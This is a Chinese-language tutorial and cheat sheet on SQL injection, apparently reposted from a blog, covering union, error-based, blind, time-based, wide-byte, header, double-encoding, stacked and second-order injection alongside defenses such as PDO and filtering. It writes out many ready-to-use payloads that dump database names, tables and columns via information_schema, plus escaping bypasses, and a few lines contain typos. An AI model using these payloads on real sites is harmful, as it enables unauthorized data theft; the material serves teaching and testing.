一篇SQL注入漏洞匯總,更新中…… 如有缺陷 望大佬指正
SQL注入產生的原因?
當程式執行邏輯時沒有對用戶輸入的引數做過濾處理,使引數直接與后臺資料庫產生邏輯互動,即SQL注入
黑客就可以利用各種SQL注入的方法 獲取資料庫敏感資訊
當Web應用向后臺資料庫傳遞SQL陳述句進行資料庫操作時,如果用戶輸入的SQL陳述句沒有經過嚴格的執行過濾且能導致非法格式正常執行并輸出資料庫資訊,即為SQL注入,
在有與資料庫產生互動的地方,都有可能產生SQL注入漏洞,
SQL注入的危害?
- 泄露資料庫敏感資訊
- 獲取目標服務器控制權
SQL注入常見資料型別 字符型(String)數值型(Int)GET POST cookie型
- 字符型
- 數字型
- 盲注
- 顯錯注入
- GET型注入
- POST型注入
- Cookie型注入
- Session型注入
- Header注入
SQL 注入常見分類:
- 盲注
- 報錯注入
- GET POST注入
- Cookie Session型注入
SQL 特殊注入分類:
- 寬位元組注入
- HTTP頭注入(header注入)
- 二次編碼注入
- 堆疊注入
- 二次注入
SQL注入常見防御方法
- 對用戶輸入的引數做嚴格過濾處理
- PDO 預處理資料庫物件
- PHP中可以使用特殊轉義字符函式 mysql_real_escape_string()
- 黑名單防御和白名單防御
- 黑名單防御:sql注入中 過濾 union select 和 information_schema 等敏感字符
- 白名單防御:sql注入中 驗證id引數是否是整形 只允許傳入數字型引數
MySQL增刪改查基礎陳述句
- 增 創建表
create database database_name;
create table table_name(
id int,
username varchar(100),
password varchar(100)
);
- 刪 洗掉資料庫內容
drop database database_name;
drop table table_name;
delete from table_name where id=x;
delete from table_name where username='username';
- 改 增加更新資料庫資料表
insert into table_name(id,username,password) VALUES ('id','user','pwd');
update table_name set username='KIO' where id=1';
-- 把id=1這一行的username的值改為KIO
use database_name;
- 查 查詢資料庫內容
--查詢所有資料庫
show databases;
--查詢所有資料表
show tables;
--查詢表內所有內容
select * from table_name;
--條件查詢指定列內容
select id author from table_name;
--條件查詢所有內容
select * from table_name where id=5;
- 匯出資料庫
mysqldump -u username -p sql_file_name>[路徑] 重命名.sql
- 匯入資料庫
1. source [路徑]file_name.sql;
2. 復制粘貼
回顯注入
什么是回顯注入?
聯合回顯注入是通過聯合查詢的方式,利用SQL注入漏洞,獲取回顯位
通過回顯位,執行閉合SQL查詢陳述句 以獲取資料庫敏感資訊的操作
聯合注入的一般步驟(含陳述句):
- 判斷資料庫資料型別
?[引數func] 1' and 1='2# //字符型
?[引數func] 1 and 1=2# //數字型
通過頁面反響 判斷正確的資料型別 一般and后面有反應的陳述句即為當前型別
任何SQL注入前都需要判斷SQL資料類才能對癥下藥,白盒測驗中可以通過查看源代碼判斷
- 判斷當前注入點 表列數
?[null]' order by 3# //字符型
SQL注入常用注釋符 --+ #
- 獲取顯示位置
?[null]' union select 1,2,3#
- 獲取當前資料庫名
?[null]' union select 1,database(),3#
SQL注入常用函式名
// database() 查詢當前資料庫名
// user() 查詢當前資料庫用戶名
// version() 查詢當前互動的資料庫資訊或版本
顯位在2 即在2處查詢資料庫名
- 獲取所有資料庫名
?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata#
SQL注入常用函式名
# group_concat() 將查詢所有行的內容 以一行展示
- 判斷資料庫名 指定想要查詢的表名
?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'#
# group_concat() 將查詢所有行的內容 以一行展示
# table_name 表名
# tables 資料庫所有表
# table_schema 查詢的資料庫名
- 根據資料表名查詢所有的關鍵列
?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'#
# group_concat() 將查詢所有行的內容 以一行展示
# column_name 列名
# columns 資料庫所有列
# table_schema 查詢的資料庫名
- 獲取關鍵列名的內容
?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'#
# group_concat() 將查詢所有行的內容 以一行展示
# column_name 列名
# columns 資料庫所有列
# table_schema 查詢的資料庫名
報錯注入
什么是報錯注入?
利用資料庫機制,人為制造錯誤條件,使得查詢結果能夠出現在錯誤資訊中
正常用戶訪問服務器發送id資訊回傳正確的id資料,報錯注入是想辦法構造陳述句,讓錯誤資訊中可以顯示資料庫的內容,如果能讓錯誤資訊中回傳資料庫中的內容,即實作SQL注入,
什么時候使用報錯注入?
當正常的回顯注入無法顯示結果,就可以使用報錯注入嘗試獲取結果
brint_r(mysql_error()); //顯示報錯資訊 當開發者用了報錯函式才能使用報錯注入
報錯注入常用函式
- extractvalue()
- updatexml()
- floor()
常見報錯注入利用陳述句
?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# 0x7e 十六進制編碼 在這里起到定位作用
# and 連接陳述句
?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 0x7e 十六進制編碼 在這里起到定位作用
# and 連接陳述句
?[null]' and (select 1 from(select count(*),concat((此處可替換任意SQL陳述句),floor(rand(O)*2))x from
information_schema.tables group by x)y)#

盲注
什么是SQL盲注?
**盲打,手工盲打和sqlmap一把梭你選**<br />**普通SQL注入無回顯結果,且無法進行報錯注入的情況下選用盲注**<br />**使用布林值判斷輸入的SQL陳述句是否與后臺資料庫產生反應**
SQL盲注的常見方法:
布爾盲注(通過布林值,引數 觀察頁面變化判斷)
時間盲注(觀察瀏覽反響時間變化)
盲注的常用函式:
substr(database(),1,2) 從第一個字符開始,取2個字符
mid(database(),1,1) ** 從第一個字符開始,取1個字符
ascii() 把字符轉換為ASCII碼
ord('abcd') ** 獲取字符的第一個ASCII值
left('string',length) 獲取string從左邊開始的length值
right('string',length) 獲取string從右邊開始的length值
length() ** 獲取字串長度
count()** 獲取行數
布爾盲注的一般步驟:
1.判斷資料庫版本
?id=1' and left(version(),1)='5'#
//獲取version()開始最左邊的length值判斷是否是5版本
2.判斷資料庫名的長度 //使用邏輯運算子
?id=1' and length(database())='8'#
//判斷資料庫名'database()' 的字串長度是否是8個字符
3.依次獲取資料名
?id=1' and substr(database(),1,1)='v'#
# '1,1' 表示從第一個字符開始取一個字符
# 判斷資料庫名'database()'的第一個字符是不是v
?id=1' and left(database(),1)='s'#
# 判斷資料庫名'database()'最左邊的第一個字符是不是s
?id=1' and ascii(substr(database(),1,1))=115#
# '1,1' 表示從第一個字符開始取一個字符
# 判斷資料庫名'database()'的第一個字符的ascii編碼值是不是115 115=s
4.以上方法獲取到資料庫名
5.判斷表總數
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4#
#判斷表總數為4
6.依次獲取資料庫表的表名長度
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6#
# limit 0,1 取第一個表名 判斷第一個表名長度為6個字符
# 通過limit 判斷所有表名的長度
7.依次判斷獲取每個資料表名
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#
#通過ascii將mid查詢的到第一個表的第一個字符轉換為asscii碼 這里101=e
時間盲注
為什么使用時間盲注?
網站注入無回顯,無報錯,且布爾盲注真偽情況下,網站結果不會發生任何改變
可以使用時間盲注觀察網頁,分辨是否存在SQL注入
時間盲注的原理
通過if判斷陳述句,控制網站的回應時間 通過網站訪問的回應時間來判斷sql陳述句的正確性
時間盲注常用函式
-
sleep() 函式
- sleep(10) //網站等待10秒后再回應
-
if(exp1,exp2,exp3) if語法
- 方法一:
- if(條件運算式,運算式為真時執行的內容,運算式為假時執行的內容)
- if((length())>8,sleep(10),null)
- 判斷第一個運算式中的length>8 是否是正確的
- 如果是錯誤的回傳結果為空
-
通常使用第一種方法
- 方法二:
- if(條件運算式,運算式為真時執行的內容,運算式為假時執行的內容)
- if((length())>8,null,sleep(10))
*網站本身需要回應時間 sleep 設定值要大
時間盲注一般步驟:
- 判斷資料庫長度
?id=1' and (if((length(database())=8),sleep(10),null))#
# 斷資料庫名長度是否為8
# sleep(10) 結果為真時 頁面重繪時間為10s
# null 結果為假時 回傳結果為空值
- 依次判斷資料庫名
?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#
- 判斷當前資料庫版本
?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))#
#通過獲取版本號最左邊的第一個字符是否為5去判斷資料庫版本
- 判斷資料庫中表的個數
?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))#
#判斷資料庫中表的個數是否為4個
- 依次判斷資料庫中的資料表的內容
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+
- 依次獲取表中資料
?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+
寬位元組注入
什么是寬位元組?
寬位元組是指兩個位元組寬度的編碼技術
寬位元組注入的原因?
- MySQL的編碼是gbk(gbk編碼設定)
- 字符不占一個位元組,占兩個位元組以上的為寬位元組
- 寬位元組注入是利用mysql的特性
- 資料庫使用的gbk編碼會將兩個位元組當作一個漢字
- 產生寬位元組注入的前提:
- 后端代碼對 ' 做了轉義過濾addslashes() 將在'前加入\
- 資料庫是gbk編碼
\的URL編碼是%5c 當用戶輸入%df 形成%df%5c
這時如果資料庫使用了GBK編碼 會自動將%df%5c識別成漢字,起到了繞過轉義的效果,即存在寬位元組注入,
因為漢字屬于寬位元組
寬位元組注入方法
?id=%df' order by 5#
# %df是url編碼的特殊字符 也是一個寬位元組
# 當資料庫設定了GBK編碼 系統執行邏輯陳述句時 會判定為一個正常字符
# 這就形成了寬位元組注入

防御方法
- 資料庫不使用GBK編碼
- PDO 預處理資料庫物件技術
HTTP頭注入
什么是HTTP頭注入?
當用戶提交的引數未做過濾且Web程式執行邏輯代碼成功執行后,將用戶提交的引數直接輸出在HTTP回應頭中,即HTTP頭注入
header注入利用方法——可以使用Burpsuite抓包,修改請求頭注入點
http_header注入常見的利用點
- **User_Agent ** 瀏覽器版本資訊
- **Referer ** 指明是從哪來的
- X-forwarder-For 客戶端的真實IP
- Client-IP 客戶端的IP
- Cookie 瀏覽器保存的憑據資訊或session id
header頭注入產生的原因?
- 網站的請求訊息的 請求頭中 與 資料庫 有互動
- 源代碼中使用了PHP超全域變數$_SERVER['value']
防御方法:PDO
二次編碼注入
什么是二次編碼注入?
當一個程式執行邏輯陳述句時,程式如果使用了addslashes()防注入函式,且又使用了urldecode()或rawurldecode()解碼函式時,會產生二次編碼注入的風險,
在正常的PHP中,開發者們會使用addslashes()轉義特殊字符函式,可以將引號 雙引號 \ 等特殊字符轉義,起到了防注入的效果,
urldecode()函式是對已編碼的url進行解碼,且PHP會在處理提交的資料之前先進行一次解碼
即二次編碼注入形成的程序->
正常邏輯: 用戶輸入id=1' 觸發 addslashes()轉義函式 會把引號轉義成“\”
二次編碼邏輯:
這時用戶輸入id=1%2527 ->
PHP自身解碼 id=1%27 (因為%25是%的編碼 只) ->**
urldecode()觸發解碼 id=1%27 == id=1'
成功注入**
?id=1%2527' union select 1,2,3#
二次編碼注入產生的原因?
產生的前提:
使用了addslashes()等轉義字符 又使用了urldecode()url解碼函式
防御方法
- 不使用urldecode()解碼函式方法
- PDO預處理資料物件
- 為什么這個世界要使用編碼?
- 比如網路通信中是減少冗余,提高網路速率
- 比如計算機,讓計算機與計算機讀懂
堆疊注入
什么是堆疊注入?
當用戶輸入資訊是,程式執行時并沒有對用戶輸入的引數做過濾限制
且當使用多潭訓堆疊形式的SQL陳述句可以觸發與資料庫的互動并回傳值,即存在SQL堆疊注入
堆疊注入產生的原因?
使用了函式:** mysql_multi_query()**
產生原理:資料庫引擎支持一次執行多條sql陳述句,用戶就可以注入多條sql陳述句進行攻擊
?id=1';show databases;show tables;……
防御方法
- 使用正確的函式
- 使用PDO預處理資料物件
二次注入
什么是二次注入?
舉個例子,二次注入是指一個資料庫或檔案內已存在惡意SQL注入陳述句,當用戶進行讀取操作時,資料庫記憶體儲的惡意SQL查詢陳述句被成功執行,導致了注入漏洞,
二次注入產生的原因?
用戶輸入的sql注入陳述句沒有做過濾,被成功寫入到資料庫,當再次呼叫時,存盤在資料庫中的惡意資料執行SQL查詢時,發生了SQL注入
產生思路:
- 攻擊者通過構造資料 的形式,在瀏覽器或其他軟體中提交HTTP資料報文請求到服務端進行處理,提交的資料報文請求中可能包含了攻擊者構造的SQL陳述句或者命令 ,
- 服務端 應用程式會將攻擊者提交的資料資訊進行存盤 ,通常是保存在資料庫中,保存的資料資訊的主要作用是為應用程式執行其他功能提供原始輸入資料 并對客戶端請求做岀回應,
- 攻擊者向服務端發送第二個與第一次不相同的請求資料資訊,
- 服務端接收到黑客提交的第二個請求資訊后,為了處理該請求,服務端會査詢資料庫中已經存盤的資料資訊并處理,從而導致攻擊者在第一次請求中構造的SQL陳述句或者命令在服務端環境中執行 ,
- 服務端回傳執行的處理結果資料資訊,攻擊者可以通過回傳的結果資料 資訊判斷是否成功利用 二次注入漏洞,


防御方法
- 對每一層產生注入點的資料庫互動位置都做過濾限制
- PDO預處理系結引數
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/494477.html
標籤:其他
上一篇:DNS協議
